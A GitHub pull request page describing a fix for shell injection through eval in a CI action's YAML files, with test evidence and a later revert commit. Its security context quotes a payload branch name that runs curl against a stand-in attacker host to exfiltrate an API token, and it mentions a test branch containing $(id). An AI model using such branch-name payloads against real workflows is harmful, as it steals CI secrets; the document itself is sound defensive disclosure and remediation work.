fix: prevent shell injection via eval in action.yml and review/action.yml [E-1815]#31
fix: prevent shell injection via eval in action.yml and review/action.yml [E-1815]#31jonathansantilli merged 4 commits intomainfrom
Conversation
Security fix for command injection vulnerability (CWE-78) in both
action.yml and review/action.yml.
Changes:
- Remove eval — replace with bash array execution for safe invocation
- Move all ${{ inputs.* }} from run: blocks to env: blocks to prevent
shell injection via attacker-controlled values
- Remove debug echo that printed API tokens and github-token to logs
- Replace bash -l {0} (login shell) with bash (standard shell)
- Quote all variable expansions to prevent word splitting
- Pin all action references to immutable commit SHAs:
- actions/setup-node v3.6.0 -> v4.4.0 (SHA pinned)
- actions/checkout v3 -> v4.3.1 (SHA pinned)
- actions/upload-artifact v4 -> v4.6.2 (SHA pinned)
- actions/download-artifact v4 -> v8.0.1 (SHA pinned)
- Sibz/github-status-action v1 (SHA pinned)
The action interface (inputs/outputs) is unchanged — this fix is
transparent to consumers.
Ref: E-1815
The mobbdev CLI now prefixes its output with status messages like "🔌 [WebSocket Mode] Using WebSocket subscription..." before the URL. This caused github-status-action to receive an invalid target_url, failing with "Validation Failed". Extract just the https:// URL from the output using grep, matching the approach already used in codeql-mobb-fixer-action. Ref: E-1815
Injection Test EvidenceTo verify the shell injection fix, a branch named How to verify
Line showing the branch name is passed as a quoted variable (safe): What you should NOT see (would mean injection succeeded): What you DO see (Mobb ran normally, no injection): Why this proves the fix worksIf the old code ( Instead, the branch name was treated as literal text, the Mobb CLI received it as a normal |
Print REPO and BRANCH values so reviewers can verify that branch names containing shell metacharacters (e.g. test-$(id)) are treated as literal text and not executed. Ref: E-1815
Updated Injection Test EvidenceRe-ran the test with added Direct linkWorkflow run: https://github.com/mobb-dev/action/actions/runs/24089287238/job/70270851010 What the log showsThe branch name What it would show if the vulnerability existedConclusionThe fix is verified. Branch names containing shell metacharacters are treated as data, not code. |
Move the last remaining ${{ github.event.* }} expression from run:
blocks to env: blocks. While PR numbers are integers (not injectable),
this ensures all github.event references consistently go through env
vars, making the pattern easier to audit and maintain.
Ref: E-1815
…-1815] (#35) * Revert "fix: use env command for array execution to support inline var assignments (#33)" This reverts commit bf76c59. * Revert "fix: prevent shell injection via eval in action.yml and review/action.yml [E-1815] (#31)" This reverts commit a12bce4. * fix: extract URL from mobbdev CLI output The mobbdev CLI now prefixes its output with status messages like "[WebSocket Mode] Using WebSocket subscription..." before the URL. Extract just the https:// URL using grep. Ref: E-1815
Summary
Fixes command injection (CWE-78) in both
action.ymlandreview/action.yml:eval $MobbExecString— replace with bash array execution${{ inputs.* }}fromrun:blocks toenv:blocksecho "Mobb Command: ..."that printedapi-keyandgithub-tokento logsbash -l {0}withbash$GITHUB_HEAD_REF)Security Context
review/action.ymlbuilds a command string containing$GITHUB_HEAD_REF(the PR branch name) and secrets, then executes it viaeval. A malicious branch name liketest-$(curl${IFS}evil.com/${MOBB_API_TOKEN})causes theevalto execute the embedded command, exfiltrating the Mobb API token.This affects all 12 Mobb-Fixer-Demo repos that consume
mobb-dev/action/review@v1.1.The fix replaces
evalwith direct command execution using a bash array, and moves all secrets toenv:blocks where bash treats them as data.Consumer Impact
None. The action
inputs:andoutputs:are unchanged. This fix is transparent to all consumers.Test plan